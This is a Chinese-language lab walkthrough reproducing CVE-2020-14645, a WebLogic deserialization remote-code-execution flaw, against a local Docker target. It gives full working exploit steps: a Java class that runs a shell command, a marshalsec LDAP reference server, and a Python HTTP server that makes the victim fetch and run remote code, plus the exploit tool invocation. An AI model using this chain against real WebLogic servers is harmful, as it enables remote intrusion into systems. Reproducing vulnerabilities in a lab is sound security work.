好好学习,天天向上
Weblogic是美国Oracle公司出品的一个Application Server,确切的说是一个基于JavaEE架构的中间件,Weblogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
攻击者可利用该漏洞实现远程代码执行。该反序列化的gadget存在与coherence包中。编号CVE-2020-14645。
反序列化的对象,通过t3发送给weblogic即可。所以,这个只是生成payload的工具。
Oracle Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 14.1.1.0.0
看公众号大佬搭建教程,在官网上下载12.2.1.4,在windows上用搭建了N次,都无法复现,心态都快崩了,然后看见docker上有资源,于是决定再试一试
这里使用12.1.4.0
docker镜像
https://hub.docker.com/r/z1du/weblogic12214jdk8u181
其实就是执行这条命令,镜像比较大,我百兆来来回回执行好几次命令,才成功
docker pull z1du/weblogic12214jdk8u181
拉取镜像后,模拟vulhub大佬,自己写docker-compose.yml文件,创建一个CVE-2020-14645文件夹,然后创建docker-compose.yml文件,内容为
version: '2'
services:
weblogic:
image: z1du/weblogic12214jdk8u181
ports:
- "7001:7001"
执行
docker-compose up -d
这里有个小插曲,头一次自己写docker-compose,心里没底,然后执行完启动命令后,报错,后背冒冷汗,不过仔细一看错误,端口占用,立马查看有没有别的镜像在使用7001,一看果然,vulhub上有个忘记down,真不是好习惯,关闭这个后,再次up,正常启动
访问如下地址,即可
http://192.168.239.129:7001/console
开始攻击
创建名字为exp.java
public class exp{
public exp(){
try {
Runtime.getRuntime().exec("touch /tmp/cve-2020-14645");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] argv){
exp e = new exp();
}
}
可以看到我以前复现失败的痕迹,想起了以前的点点滴滴
创建好后,进行编译
javac exp.java
安装marshalsec,mvn也是需要安装的,不过这个很简单,和java一模一样,我一般一次编译好,打成jar后,后面哪个漏洞需要复现直接拷贝jar
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
这一步等了太久久久久了,我这下载一大堆东西
接着,使用python启动http服务器,并将exp.class放入站点根目录(我这边指定5001端口)
python3 -m http.server 5001
启动ldap服务,细心的你,不要把IP或者文件路径给搞错了哦,注意修改IP,还有进到marshalsec.jar的目录再执行,要不然会报找不到类
java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.239.139:5001/#exp 1099
使用CVE-2020-14645漏洞验证工具
https://github.com/ChenZIDu/CVE-2020-14645
git clone https://github.com/ChenZIDu/CVE-2020-14645
cd CVE-2020-14645
java -jar CVE-2020-14645.jar 192.168.239.139:1009/#exp http://192.168.239.170:7001
进入docker,可看到命令已执行